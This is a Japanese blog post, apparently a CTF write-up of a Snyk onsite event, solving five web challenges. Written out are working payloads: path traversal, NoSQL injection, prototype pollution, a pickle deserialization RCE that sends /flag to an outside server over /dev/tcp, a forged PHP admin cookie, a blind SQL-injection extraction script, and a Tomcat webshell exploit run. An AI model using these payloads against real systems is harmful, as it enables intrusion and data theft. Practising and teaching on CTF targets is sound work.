CTFするぞ

CTF以外のことも書くよ

Snyk Capture the Flag 101に参加しました

はじめに

某日、Twitterを眺めているとオンサイトCTFの情報が流れてきました。

新型コロナでいろんなイベントが消滅してから長らく国内でオンサイトCTFに参加する機会がなかったので、興味がありました。 Snyk*1という組織自体は知っていましたが、CTFをやっているイメージがなかったので正直参加するか微妙でした。 ただ、大学の先輩が会場のAWSで働いていることと、賞品にルンバという文字が見えたことが決め手で参加することにしました。 私の家は一人暮らしにしては部屋数が多く、床にコードは散らかっていないので、ルンバは夢のアイテムです。 でも私は機械に弱いので電子機器や家電は数年に1回単位でしか買うことがなく、(iPadAirPodsも含めて)賞品で貰えたら嬉しいな、程度の気持ちでした。

開始前

電車で目黒に行きました。 かなりぎりぎりの時間で家を出ましたが、無事5分前くらいに会場に到着しました。 会場は21階にあり、プチ都庁みたいな景色が見えました。

競技開始前はWi-Fi*2につないだり、moraさん遅刻か?と思ったりしていました。*3 15時になるとAWSとSnykの会社説明があり、その後Snyk脆弱性スキャナの使い方説明がありました。

スコアボードはCTFdで、名前をyoshikingにしようと思っていましたが、他のユーザーを見ると「ptr-s@toki」が観測されたため「satoking」に軌道修正しました。

まず最初に、みんなで仲良く一緒に解くデモ問題みたいなのをやりました。 node製のアプリで、脆弱性スキャナにかけると「コード自体の問題」と「パッケージに含まれる脆弱性」の2つを分けて表示してくれました。 いくつか脆弱性の可能性が検出されるのですが、デモ問題では以下の古いパッケージに含まれるディレクトリトラバーサルが問題でした。

開発者向けなのでさすがにCVEのPoCまでは表示してくれませんが、脆弱性やCVEの説明などへのリンクはあります。

stというのは静的ファイルを提供するためのパッケージらしく、以下のように./public/publicにバインドしていました。

var st = require('st');
...
// Static
app.use(st({ path: './public', url: '/public' }));

これにディレクトリトラバーサルがあるということで、次のようなリクエストを送ると任意のディレクトリリスティングやファイル内容が読めました。

$ curl --path-as-is 'http://<HOST>/public/%2e%2e/%2e%2e/%2e%2e/etc/passwd'

2階層くらい下がったところにflagという名前のファイルがあったと思います。

参加前は某省みたいなクイズ大会かと思っていましたが、この辺で意外とNetWars的なCVE探して刺す系のCTFかな?と安心し始めました。

競技開始

15:30過ぎくらいから競技が開始され、問題を解き始めました。 ここで衝撃の事実が発覚します。 なんとスコアボードで順位が見えません。

これではサブマリン戦法やヒント開放による露骨なスコア調整で3位のルンバが狙えないので、方針転換して、速解きでなるべく高い順位を狙うことにしました。

とりあえず開始直後に、全部の問題(最後のはdocker imageだったので後回し)をSnyk脆弱性スキャナに投げておきました。

1問目:マングース

問題文からNoSQL Injectionであることが想像できますが、一応スキャナの結果を見たら案の定NoSQL Injectionでした。

しかしNoSQL Injectionなどという高尚なものの攻撃方法は覚えてないので、適当にぐぐる{"$ne": null}みたいなのを入れると良いらしいです。 MongoDBわかんねぇ。

とりあえず開発者ツールのNetworkタブでログイン時に流れているリクエストを見て、ユーザー名とパスワードを↑のオブジェクトに差し替えて送ります。

$ curl -X POST 'http://<HOST>/' \
    -H "Content-Type: application/json" \
    --data '{"username": {"$ne": null}, "password": {"$ne": null}}'
...
<h1 id="page-title">Admin Access Granted</h1>


    <h3 id="list">You got the flag!</h3>
    <center>SNYK{2185ecb17f23afdf2610f741dd07=6bd6088c616e4ac2a403eb14fa8689e1fb0af}

</center>
...

フラグが得られました。

2問目:見えないインク

初手スキャン結果を見ると、Prototype PollutionとRCEが表示されました。

当然RCEの方のCVEについて調べましたが、こっちはよく分かりませんでした。 あくまでこのバージョンのパッケージに含まれる脆弱性を表示してくれているので、該当する機能は使われていないということでしょう。

ソースコードを見に行くと、次のように有名なlodashのPrototype Pollutionが発生していることが分かります。

    _.merge(out, req.body);

    if (options.flag) {
        out.flag = flag;
    } else {
        out.flag = 'disabled';
    }

options.flagがあれば良いらしいので、req.bodyからこれを汚染します。

$ curl -X POST http://<HOST>/echo \
    -H "Content-Type: application/json" \
    --data '{"message": {"__proto__": {"flag": 1}}}'
{"userID":"::ffff:10.148.0.21","time":1665911253513,"message":{},"flag":"SNYK{6a6a6fff87f3cfdca056a077804838d4e87f25f6a11e09627062c06f142b10dd}"}

フラグが得られました。

3問目:ハンバーガーに欠かせないもの

この辺からcurlだけでは解けなくなってきます。

pickleのinsecure deserializationがあるので、RCEできそうなオブジェクトを作ります。

import pickle
import base64

class RCE(object):
    def __reduce__(self):
        import os
        return (os.system,(command,))

command = '/bin/bash -c "/bin/cat /flag / > /dev/tcp/<SERVER>/<IP>"'

data = pickle.dumps(RCE())
payload = base64.b64encode(data)
print(payload)

自分の保有しているサーバーにコマンドの実行結果を送信するようなコードにしました。 フラグの位置は事前にlsをして入手したものです。

$ python rce.py
b'gASVWQAAAAAAAACMBXBvc2l4lIwGc3lzdGVtlJOUjD4vYmluL2Jhc2ggLWMgIi9iaW4vY2F0IC9mbGFnIC8gPiAvZGV2L3RjcC9wb25wb25tYXJ1LnRrLzE4MDAyIpSFlFKULg=='

これを送ります。

$ curl -X POST 'http://<HOST>/' \
    --data "text=<base64-encoded payload>"

すると待受側にフラグが飛んできました。

$ nc -lnvp <PORT>
Listening on 0.0.0.0 <PORT>
Connection received on <HOST> 48692
SNYK{6854ecb17f51afdf2610f741dd07bd6099c616e4ab1a403eb14fa8639e1fb0af}

4問目:人気の言語

今までに比べてソースコードの規模が若干大きくなりました。 とりあえずスキャン結果を見ると、PHPのinsecure deserializationが目に入ったのでこれを狙います。

フラグが貰えそうなadmin.phpを開くと、初手脆弱性がありました。

<?php
include './user.php';

$user = null;

if ($_COOKIE['user']) {
    $user = unserialize($_COOKIE['user']);
}
?>
...
        <? if ($user && $user->isAdmin) { ?>
            <div class="form-text text-success"><? echo file_get_contents("/var/flag");?></div>
        <? } else if ($user) { ?>

使えそうなオブジェクトを調べると、user.phpがあります。

class User
{
    public $login;
    public $isAdmin;

    public function __construct($login, $isAdmin)
    {
        $this->login = $login;
        $this->isAdmin = $isAdmin;
    }

    static function login($login, $password)
    {
        $db = DB::getConnection();
        $statement = $db->prepare('SELECT * FROM users WHERE login=:login AND password=:password;');
        $statement->bindValue(':login', $login);
        $statement->bindValue(':password', $password);
        $res = $statement->execute();
        $user = $res->fetchArray();

        if (!$user) {
            return null;
        }

        return new User($login, $user['admin'] ? true : false);
    }
}

isAdminをtrueにしたオブジェクトをシリアライズして、Cookieに打ち込めば認証を突破できそうです。

<?php
class User
{
    public $login;
    public $isAdmin;

    public function __construct($login, $isAdmin)
    {
        $this->login = $login;
        $this->isAdmin = $isAdmin;
    }
};

$x = new User(true, true);

var_dump(serialize($x));
$ php exp.php
string(49) "O:4:"User":2:{s:5:"login";b:1;s:7:"isAdmin";b:1;}"

これをCookieに入れれば良いのですが、URL encodeするのを忘れていて少し手こずりました。

$ curl http://<HOST>/admin.php \
    -b 'user=O%3A4%3A%22User%22%3A2%3A%7Bs%3A5%3A%22login%22%3Bb%3A1%3Bs%3A7%3A%22isAdmin%22%3Bb%3A1%3B%7D; age=20'
...
    <div style="width: 50%; margin: 0 auto; text-align: center;">
                    <div class="form-text text-success">SNYK{1f99cc127e3659fcd9b966cbfa1143a90d5ef6a9b9682bc61559bf3c0a1dc7f3}</div>
            </div>
...

フラグが貰えました。

【追記】

そういえば競技終了後にmoraさんが「この問題SQLiがあってそっちをやってた」って言ってたので、それも試してみます。

Mora's Prophecy通り、index.phpSQL Injectionがあります。

$sort = isset($_GET['sort']) && !empty($_GET['sort']) ? $_GET['sort'] : 'jun2021';

$db = DB::getConnection();
$results = $db->query("SELECT * FROM languages ORDER BY $sort LIMIT 1000;");

ORDER BYにかかってるので若干面倒そうですね。 ソースコードは公開されているもののデーターベースの構造はたぶん分からないので、そこの特定から始めます。 種類はSQLiteです。

class DB
{
    static function getConnection()
    {
        return new SQLite3('/var/top-lang-main-15-20.db');
    }
}

目標はusersテーブルからadminがtrueに評価されるような値を持っているユーザーのパスワードをリークすることです。

    static function login($login, $password)
    {
        $db = DB::getConnection();
        $statement = $db->prepare('SELECT * FROM users WHERE login=:login AND password=:password;');
        $statement->bindValue(':login', $login);
        $statement->bindValue(':password', $password);
        $res = $statement->execute();
        $user = $res->fetchArray();

        if (!$user) {
            return null;
        }

        return new User($login, $user['admin'] ? true : false);
    }

まずカラム数ですが、ORDER BY 6は通ってORDER BY 7はエラーになったので、6カラムあることが分かります。

SQLiteORDER BYにサブクエリを入れても何も起きなさそう(知ってる人いたら教えてください)なので、LIMITの方をオラクルに使います。 usersテーブルのadminカラムの型が分からなかったので、カラム名をguessしたらidという一意に定まりそうカラムがありました。

1 limit (select 1 from users where id=1);--

1と2で結果が返ってきたので、usersテーブルにデータは2つ存在することが分かります。

とりあえず1つ目がadminと仮定してパスワードをリークしましょう。 今回のサイトですが、言語一覧には20個の言語が見えています。したがって、LIMIT句をオラクルとする場合、20までの可変データをリークできます。 InterKosenCTFでふるつきが昔出題しましたが、このような場合、中国人剰余定理を使って高速に大きいデータが読めます。 今回は20個データがあるので、例えば19と17を剰余にして欲しい数字を返せば、最大19x17=323までの値をリークできます。 つまり、2回のクエリで1バイトのデータくらいなら読めるわけです。

この古月式Blind Injectionを使うと、Blind SQLiにも関わらず、ものの数秒ですべてのデータが読めてしまいました。すごいぜ!

from ptrlib import crt
import requests

password = ""
for i in range(32):
    payload = f'1 limit (select unicode(substr(password,{i},1)) % 19 from users where id=1);--'
    r = requests.get("http://<HOST>/", params={"sort": payload})
    x1 = r.text.count("<tr>") - 1

    payload = f'1 limit (select unicode(substr(password,{i},1)) % 17 from users where id=1);--'
    r = requests.get("http://<HOST>/", params={"sort": payload})
    x2 = r.text.count("<tr>") - 1

    password += chr(crt([(x1, 19), (x2, 17)])[0])
    print(password)

同様にユーザー名もリークできます。

id=1id=2の両方でこれを試し、ユーザー名とパスワードをリークできました。

  • id=1
    • login: kirill
    • password: my1awesome2password3
  • id=2
    • login: slava
    • password: lavalavalava123456

この認証情報を使いログインしてみました。 どちらもadminではありませんでした。おしまい!

5問目:ACEと猫とコーヒー

この問題はソースコードではなくDockerイメージが貰えます。 URLにアクセスすると、Apache Tomcatのトップページが表示されました。TomcatのCVE問っぽいです。

Snykのスキャナにもかけましたが、コンテナイメージが古いのでコンテナ内の他のアプリケーションの脆弱性情報が大量に出てきて、読める状態ではありませんでした。*4

Tomcatのバージョンは8.5.21なので、このバージョンでRCEがないか調べると、まずCVE-2020-9484が引っかかりました。 しかし、よくよく説明を読むとかなり条件が厳しいです。つらたん。

if a) an attacker is able to control the contents and name of a file on the server; and b) the server is configured to use the PersistenceManager with a FileStore; and c) the PersistenceManager is configured with sessionAttributeValueClassNameFilter="null"

実際ysoserialを落としてPoCを投げましたが刺さった様子はありませんでした。

もう少し調べると、次にCVE-2017-12617がヒットしました。 こっちはこっちでPUTメソッドが有効になっている必要がありますが、それくらいならありそう、ということで試してみました。 PoCはこちらのものを使用しました。

github.com

$ python2 tomcat-cve-2017-12617.py -u http://<HOST>/ -p pwnpwnpain



   _______      ________    ___   ___  __ ______     __ ___   __ __ ______ 
  / ____\ \    / /  ____|  |__ \ / _ \/_ |____  |   /_ |__ \ / //_ |____  |
 | |     \ \  / /| |__ ______ ) | | | || |   / /_____| |  ) / /_ | |   / / 
 | |      \ \/ / |  __|______/ /| | | || |  / /______| | / / '_ \| |  / /  
 | |____   \  /  | |____    / /_| |_| || | / /       | |/ /| (_) | | / /   
  \_____|   \/   |______|  |____|\___/ |_|/_/        |_|____\___/|_|/_/    
                                                                           
                                                                           

[@intx0x80]


Uploading Webshell .....
$ find . -name flag
./webapps/todolist/flag
$ cat ./webapps/todolist/flag
SNYK{9a6a1fff87f3cfdca056a077804838d4e87f25f6a11e09627092c06f142b10yf}

刺さりました。対戦ありがとうございました。

終了後

こんな感じです。40分くらいで解き終わったらしいです。

30分くらい時間が余っていたので、会場にあったケーキやチョコを食べ食べしたり、satoki君に進捗確認DMを送ったりして時間を潰していました。 satoki君も終わったって言ってたし会場の周りも手が止まってたしで上位入賞は厳しいかなーと思いつつも、クイズ大会じゃなかった&全問ソースコードが配布されていたので感動していました。

個人的にはこの程度の難易度で1時間で終わるようなCTFはオンラインでももっと開催して欲しいと思っているので、楽しかったです。*5 また、WebはCTF4大ジャンルの中でcryptoと1位2位を争うほど苦手なので、次回は是非pwnとかpwnも出してほしいです。🤗

まとめ

意外なことに、なぜか速解き筋肉パワーで勝っていたのでiPad Airをいただきました。ルンバ逃した......

機械に弱いのでApple製品はもちろん、最近流行りのタブレットだのなんだのは使ったことがなかったのですが、電源ボタンで指紋認証できてSFの世界に来た感じがしました。 ちょうどお絵描きの勉強をしていたので、早速ペイントアプリを入れてニャンスカルを描いてみましたが、非常に使いやすくておったまげました。 細部に消しゴムが使えるのと、やり直し機能があるのがアナログ人間としては便利だと感じました。

以上、久しぶりにオンサイトCTFができて楽しかったです。 開催&豪華賞品ありがとうございました。

*1:スニック、エスニック、スニークなど呼び方に多数の説がありましたが、スニックが正解っぽいです。

*2:序盤かなり接続が不安定だったWi-Fi

*3:moraさんは1分前くらいに来たと思います。セーフです。

*4:一応Tomcatとかでフィルタもしましたが何も出ず...

*5:TSG LIVE CTFをお待ちしています。